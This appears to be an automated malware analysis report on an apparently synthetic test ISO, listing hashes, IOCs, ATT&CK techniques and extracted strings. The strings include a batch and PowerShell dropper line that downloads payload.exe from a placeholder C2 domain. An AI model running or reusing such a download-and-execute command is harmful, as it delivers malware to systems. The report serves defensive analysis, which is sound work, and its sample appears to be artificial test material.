KVMX

Evidence-First Malware Analysis

Analysis Report: iso_smoke.iso

Verdict: MALICIOUS

iso_smoke.iso has an unrecognized format. Verdict: malicious.

Analysis Overview

Score: 9/10

Threat level: Malicious

Malicious Activity Summary

- Command and Scripting Interpreter: PowerShell
- Application Layer Protocol: Web Protocols

Hashes

SHA-256:	024d31b559ba4beba18a245b87452b75a4e29971e8d1a0f968f7491aafa0427a
SHA-1:	01052bbb3ca5fb319784dd43746059ea2e77c836
MD5:	3ededbb13df68d9d8347e22a92ad5dba
Size:	43,008 bytes

Packer Detection

No packer detected.

Strings (7 found)

```
CD001
CD001
DROPPER.EXE,
INSTALL.BAT
http://mf-smoke-c2.test/payload.exe
@echo off
powershell -c "iwr http://mf-smoke-c2.test/payload.exe -o a.exe"
```

Indicators of Compromise (2)

URLs (1)

```
http://mf-smoke-c2.test/payload.exe
```

Domains (1)

```
mf-smoke-c2.test
```

MITRE ATT&CK (2)

Technique	Name	Tactic	Source
T1059.001	Command and Scripting Interprete	Execution	
T1071.001	Application Layer Protocol: Web	Command and Control	